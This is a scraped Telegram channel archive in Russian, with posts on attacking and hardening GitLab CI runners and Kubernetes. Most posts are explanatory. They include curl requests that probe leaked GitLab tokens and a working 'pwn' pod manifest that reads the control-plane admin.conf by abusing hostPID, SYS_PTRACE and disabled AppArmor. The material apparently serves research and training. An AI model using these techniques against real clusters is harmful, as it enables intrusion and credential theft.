uz
Feedback
Нарыл

Нарыл

Kanalga Telegram’da o‘tish

Канал о практической информационной безопасности. Автор - https://t.me/sorokinpf

Ko'proq ko'rsatish
1 483
Obunachilar
Ma'lumot yo'q24 soatlar
+87 kunlar
+2130 kunlar
Postlar arxiv
Gitlab pre_build_script. Part 2 Так что же делать чтобы after_script не выполнялся после падения pre_build_script? Можно, например, дергать из скрипта гитлабовскую апишку и канцелить джобу. Но можно поступить проще, если разобраться как раннер запускает джобы внутри (все нижеперечисленное я изучал для k8s-раннера, полагаю что верно и для docker-раннеров тоже). Тут важны два факта. Первый - для запуска любых скриптов раннер сначала находит подходящий шелл с помощью файла скрипта detect_shell_script, который находится в папке /scripts-$CI_PROJECT_ID-$CI_JOB_ID. Соответственно если его перезаписать например на exit 1, то никакие другие скрипты точно не запустятся, в том числе after_script. Но если сделать только это, то джоба в интерфейсе гитлаба зависнет. А также и контейнер в котором она запущена и все это будет убито только по таймауту. Второй факт - оказалось, что гитлаб получает информацию о статусе джобы по записям в файл /logs-$CI_PROJECT_ID-$CI_JOB_ID/output.log. Если в этот файл вписать специальные json-строки, означающие на языке гитлаба завершение выполнения скриптов, то Gitlab воспримет джобу как завершенную, отобразит падение джобы в интерфейсе и остановит контейнеры джобы. Итого, такой кусок скрипта можно использовать в pre_build_script, в случае если проверки безопасности не пройдены и джоба должна упасть.

echo 'exit 1' > /script*/detect*
echo '{"command_exit_code": 1, "script": "/scripts-$CI_PROJECT_ID-$CI_JOB_ID/step_script"}'  >> /logs*/output.log
echo '{"command_exit_code": 1, "script": "/scripts-$CI_PROJECT_ID-$CI_JOB_ID/after_script"}' >> /logs*/output.log
exit 1

Gitlab pre_build_script Иногда есть необходимость дополнительно защитить Gitlab Runner. Например, если на нем имеются дополне
Gitlab pre_build_script Иногда есть необходимость дополнительно защитить Gitlab Runner. Например, если на нем имеются дополнетильные credentials, если он имеет особые сетевые доступы и т.д. Способы защиты могут быть тоже разные: - проверка того что тот кто запустил джобу входит в белый список - проверка подписи коммитов - проверка целостности джобы - и т.д. Для реализации такой защиты может применяться параметр раннера - pre_build_script. В этом параметре можно указать скрипт, который выполнится ДО запуска любого из блоков before_script/script/after_script из пайплайна (.gitlab-ci.yml). Идея защиты такая - если проверка не пройдена, то pre_build_script возвращает код, отличный от 0 и фейлит джобу. А блоки before_script, script, after_script, которые контролирует недоверенный пользователь гитлаба не выполняются. Не выполняются ведь? Да? НЕТ! before_script и script действительно не выполняются. А вот after_script выполняется все равно, вне зависимости от того что вернул pre_build_script. Такой вот простой байпас.

OFFZONE_CYBERED_SPECIAL - промокод на скидку на воркшопы OFFZONE (не только мой)

Repost from OFFZONE
🔧 Воркшоп «Ломаем CI/CD 2.0» На воркшопе вы изучите работу с секретами в CI/CD и научитесь обходить защиты раннеров от PPE. Что в программе: ➡️ Секреты в CI/CD: GitLab variables / vault. ➡️ Интеграция Vault с GitLab и проблемы в ней. ➡️ Интеграция Vault с K8s и проблемы в ней. ➡️ Защита раннеров от PPE и способы ее обхода. Что потребуется: ➡️ docker, ➡️ kubectl, ➡️ vault (cli). Когда: 23 августа, 14:30–17:30. Сложность: medium. Продолжительность: 3 часа. Тренер: Павел Сорокин, tech lead, Singleton Security. Важно: без билета на конференцию попасть на воркшоп не получится. Мест осталось не так много, успевайте! Подробнее

Второй год подряд буду проводить воркшоп на Offzone.

Запись моего выступления на PHDays: https://phdays.com/forum/broadcast/?talk=645&tag=offense Слайды прикладываю

Есть такая общеизвестная проблема когда делаешь non-root в k8s: контейнерам нужно биндить порты до 1024, что по умолчанию в L
Есть такая общеизвестная проблема когда делаешь non-root в k8s: контейнерам нужно биндить порты до 1024, что по умолчанию в Linux запрещено. Лично по-моему само по себе такое ограничение - архитектурная ошибка в Linux, которая привела к куче проблем и сложностей: сервису, например nginx, нужно стартовать от рута, забиндить порт, а потом дропнуть лишние привилегии. Что уже само по себе звучит не безопасно и разумеется приводило к множеству LPE. А профит с точки зрения ИБ крайне сомнительный. Может быть он был когда на одном сервере одновременно крутился важный сайт на 80 порту и еще сидели руками какие-то непривилегированные пользователи, но сейчас это кажется бесполезным чуть более чем полностью (попробуйте меня переубедить :D) Параметр ядра net.ipv4.ip_unprivileged_port_start позволяет управлять этим поведением в Linux. Если его установить в значение 0, то любому пользователю будет доступен биндинг любых портов. Параметр net.ipv4.ip_unprivileged_port_start относится к сетевому неймспейсу и у каждого контейнера свой. При внедрении non-root можно добавлять securityContext.sysctls (net.ipv4.ip_unprivileged_port_start=0) в манифесты, но это требует модификации всех манифестов. И вот я тут обнаружил что есть другой путь - в конфиге containerd есть опция enable_unprivileged_ports, которая устанавливает net.ipv4.ip_unprivileged_port_start в 0 для всех создаваемых контейнеров. Другими словами можно поменять один параметр на всех нодах и не возиться с манифестами.

Мой бывший коллега классно развил тему о которой я рассказывал в прошлом году на БЕКОН. Там шла речь о том чтобы при наличии доступа к docker API socket нельзя было поднять привилегии и залезать в чужие контейнеры. Но было ограничение - доступ к собственным контейнерам также сильно ограничивался. Улучшенный подход он описал в статье на хабре. Теперь с помощью плагина https://github.com/I-am-Roman/docker-auth-plugin можно реализовать уже почти полноценную авторизацию - доступ к своим контейнерам остается, а вот к тем, которые запущены другими пользователями уже не добраться. Ссылки на старые посты в канале по теме на БЕКОН: раз и два.

Kyverno resourseFilters Если разворачивать kyverno с помощью values.yaml по умолчанию, то в них окажется интересный параметр resourceFilters Этот параметр добавляет в исключения Enforce политик kyverno некоторую часть ресурсов, сради которых хочется отметить почти первые три строчки. Они говорят о том что все yaml в неймспейсах: - kube-system - kube-public - kube-node-lease НЕ будут валидироваться. Также в исключения попадает очень многое в неймспейсе, где развренута kyverno. То есть, если атакующий смог получить доступ к кредам, которые позволяют создавать ворклоады в любых неймспейсах, то он сможет сделать BadPod, даже если baseline kyverno-политики раскатаны на кластере. Ну и многое другое, ради чего заводится policy engine может быть байпаснуто. При этом Background-режим kyverno работает вне зависимости от resourceFilters, никакие ресурсы не пропускаются, что может сбивать с толку. Об этом и о причинах таких параметров по умолчанию (надежное восстановление кластера/kyverno) прямо сказано в самом конце раздела документации Installation->Security vs Operability, надеюсь, что все до туда дочитывают...

Repost from CyberED
😱 Еще не принимали участие в нашем практическом воркшопе «Ломаем CI/CD»? У вас есть отличный шанс это сделать👍 Ведь мы снов
😱 Еще не принимали участие в нашем практическом воркшопе «Ломаем CI/CD»? У вас есть отличный шанс это сделать👍 Ведь мы снова проведем его уже 31 января! Чем уникален данный воркшоп? ⚡️Только у нас вы сможете потренироваться на практике в поиске нестандартных уязвимостей компонентов CI/CD, изучить техники атак на них, которые обычно выходят за рамки стандартных пентестов. Зачем? Чтобы овладеть уникальными навыками от практикующего эксперта и быть на шаг впереди других🏆 👤 Воркшоп проведет для вас лично Павел Сорокин - эксперт в пентесте и Application Security с опытом работы в ведущих ИБ-компаниях, таких как “Информзащита”, BI.ZONE, Ozon и Яндекс. Все о безопасности пайплайнов CI/CD - на практическом воркшопе CyberEd🔥 👉 Оставить заявку на участие в воркшопе Реклама ОАНО ДПО «ВЫШТЕХ» ИНН: 7703434727

Всем привет. В среду вечером провожу воркшоп «Ломаем CI/CD» в CyberEd. Покажу атаки, основанные на том, что я видел в реальных системах. Для проведения воркшопа я поднял гитлаб, кубернетес и пачку раннеров. Будет CTFd с флагами и пошаговая методичка со скриптами и yaml-ами. Если интересно - присоединяйтесь. Промокод на скидку для подписчиков канала - naryl_sec

photo content

Gitlab Access Tokens Gitlab позволяет создавать токены доступа для групп, проектов или персональные для пользователей. Если нам достался такой токен (например, нашли в репозитории), то встает вопрос - а что же именно с этим токеном можно делать? Для этого можно использовать запрос:
curl --header "PRIVATE-TOKEN: token_here" https://gitlab.example.com/api/v4/personal_access_tokens/self
В ответе будет имя токена, идентификатор пользователя, для которого этот токен выписан, а также scopes - права. В примере на картинке токен имеет полный доступ в API, а также может пушить в репозиторий и Gitlab Image Registry. Доступ в API - это довольно высокие права, с таким доступом можно читать доступные Gitlab Variables, запускать пайплайны от имени пользователя и многое другое. Посмотреть пользователя, для которого выдан токен можно здесь:

curl https://gitlab.example.com/api/v4/users/<user_id>
Если токен выдан для проекта или группы, имя пользователя будет иметь формат (project|group)_<(project|group)_id>_bot_<random_bytes> В зависимости от проекта/группы/пользователя нам могут быть доступны разные возможности. Вплоть до полноценного административного доступа в Gitlab. Также при создании токена указывается роль (Developer/Maintainer/Guest/etc), но как узнать роль имея на руках только токен, я не нашел. P.S. В Gitlab есть префикс для персональных токенов `glpat-`(дока). Можно добавлять в инструменты поиска секретов.

photo content

apiVersion: v1
kind: Pod
metadata:
  name: pwn
  annotations:
    container.apparmor.security.beta.kubernetes.io/pwned: unconfined #disable apparmor
spec:
  hostPID: true #root PID namespace 
  containers:
  - name: pwn
    image: ubuntu
    command: [ "cat", "/proc/1/root/etc/kubernetes/admin.conf" ]
    securityContext:
      capabilities:
        add:
        - SYS_PTRACE # SYS_PTRACE to bypass ptrace access mode checks
  nodeSelector: # land on master node
    node-role.kubernetes.io/control-plane: ''
  tolerations: # tolerate control-plane node tains
  - key: ""
    operator: "Exists"
    effect: ""

hostPID: true и --pid=host. Часть 4 Часть 1 Часть 2 Часть 3 Ну и наглядный пример по итогам всего вышесказанного. Если мы можем создавать поды с: 1) hostPID: true 2) SYS_PTRACE capability 3) отключенным AppArmor То мы можем запупывнить кластер кубера одним маленьким подом, спецификация которого ниже. Этого достаточно, т.к.: - Доступ к процессу с PID 1 у нас есть благодаря hostPID:true; - наличие SYS_PTRACE позволяет обойти обычные проверки ptrace access mode; - Yama не работает, так как мы запрашиваем всего лишь PTRACE_MODE_READ; - AppArmor необходимо отключать, так как он не дает доступа в процессы, запущенные под другим профилем. - nodeSelector и tolerations позволяют выполниться на master-ноде кубера.

hostPID: true и --pid=host. Часть 3 Часть 1 Часть 2 AppArmor Еще один LSM, участвующий в защите от доступа к целевому процессу с уровнем ptrace access mode PTRACE_MODE_READ или PTRACE_MODE_ATTACH - AppArmor. В конфигурации по умолчанию в containerd/docker применяется профиль AppArmor, полученный на основе шаблона. Профиль по умолчанию в containerd называется cri-containerd.apparmor.d, а в docker - docker-default. Посмотреть имя текущего профиля AppArmor изнутри контейнера можно в файле /proc/self/attr/current Разрешение для ptrace в шаблоне указано в последней строке:
  # suppress ptrace denials when using 'docker ps' or using 'ps' inside a container
  ptrace (trace,read,tracedby,readby) peer={{.Name}},
Данная строка означает что можно получать доступ trace (PTRACE_MODE_ATTACH) и read (PTRACE_MODE_READ) только в процессы, запущенные под одноименным профилем AppArmor. Аналогично с входящими запросами в наш процесс на отладку. В комментарии сказано зачем это послабление добавлено - чтобы можно было работать с процессами в рамках одного контейнера. Понятно, что внутри контейнера все процессы под одним профилем. Но, очевидно, это послабление открывает доступ не только ко всем процессам в контейнере, но и ко всем процессам во всех контейнерах, крутящихся на той же ноде, они все по умолчанию запущены под одним и тем же профилем AppArmor. Для того чтобы запустить контейнер с отключенным AppArmor нужно в docker добавить к команде run флаг --security-opt=apparmor:unconfined. В kubernetes нужно добавить аннотацию к поду container.apparmor.security.beta.kubernetes.io/<container_name>: unconfined AppArmor'у плевать на CAP_SYS_PTRACE, поэтому если атакующий может запустить под с hostPID: true и CAP_SYS_PTRACE, но неможет отключить AppArmor - его область атаки - только процессы других контейнеров. Хостовые процессы, запущенные без AppArmor будут ему не доступны.

hostPID: true и --pid=host. Часть 2 Часть 1 Yama Давайте теперь обсудим что же еще влияет на возможность доступа к целевому процессу с уровнем ptrace access mode PTRACE_MODE_READ или PTRACE_MODE_ATTACH. Первый из списка - это Linux Security Module (LSM) Yama (описание Yama). Yama участвует в проверках только если запрашивается доступ уровня PTRACE_MODE_ATTACH, запросы уровня PTRACE_MODE_READ игнорируются модулем Yama. По умолчанию значение единственного параметра Yama ptrace_scope (cat /proc/sys/kernel/yama/ptrace_scope) установлено в значение 1. Это значит что получить доступ уровня PTRACE_MODE_ATTACH может только процесс, являющийся родителем целевого. В ситуации атакующего, запустившего под с hostPID:true, это разумеется не возможно и Yama эффективно блокирует отладку других процессов хоста или соседних подов. При наличии capability CAP_SYS_PTRACE проверки модуля Yama игнорируются. Впрочем как и прочие проверки, указанные в первой части. Таким образом Yama: - влияет только на PTRACE_MODE_ATTACH (отладку) и не влияет на PTRACE_MODE_READ (чтение /proc/PID/environ, /proc/PID/root и т.д.) - по умолчанию позволяет получать PTRACE_MODE_ATTACH только к дочерним процессам - с позиции атакующего для выполнения отладки необходимо либо чтобы ptrace_scope был установлен в 0, либо чтобы была возможность добавить в свой под CAP_SYS_PTRACE

Repost from CyberED
🔥 2 ноября CyberEd приглашает вас посетить практический воркшоп «Ломаем CI/СD»! 💻 В ходе воркшопа разберем основные угрозы
🔥 2 ноября CyberEd приглашает вас посетить практический воркшоп «Ломаем CI/СD»! 💻 В ходе воркшопа разберем основные угрозы безопасности компонентов CI/CD и пайплайнов, техники атак на системы CI/CD. А также рассмотрим: ✅ модели безопасности GitLab ✅ различные Gitlab CI экзекьютеры и атаки на них, включая shell, docker, k8s и dind ✅ атаки из Gitlab CI на shared runner. Вы научитесь изучать доступное окружение раннеров, выходить из контейнеров, поднимать свои привилегии в kubernetes. 📆 Когда: 2 ноября в 19.00 по МСК 🕑 Продолжительность - 3 часа. ➡️ Подробная программа и регистрация на воркшоп 📎 Мероприятие будет полезно Dev, Ops, Sec командам, пентестерам, специалистам и исследователям безопасности, RedTeam, AppSec, специалистам по расследованию инцидентов. Реклама ОАНО ДПО «ВЫШТЕХ» ИНН: 7703434727

Провожу в этот четверг воркшоп по атакам на CI/CD. Покажу только то, что встречал на практике: повышение привилегий на раннерах, подмена артефактов, выход на ноды кубера с последующим захватом кластера. Будет инфра, где можно будет повторить и попрактиковаться. Если интересно - приходите.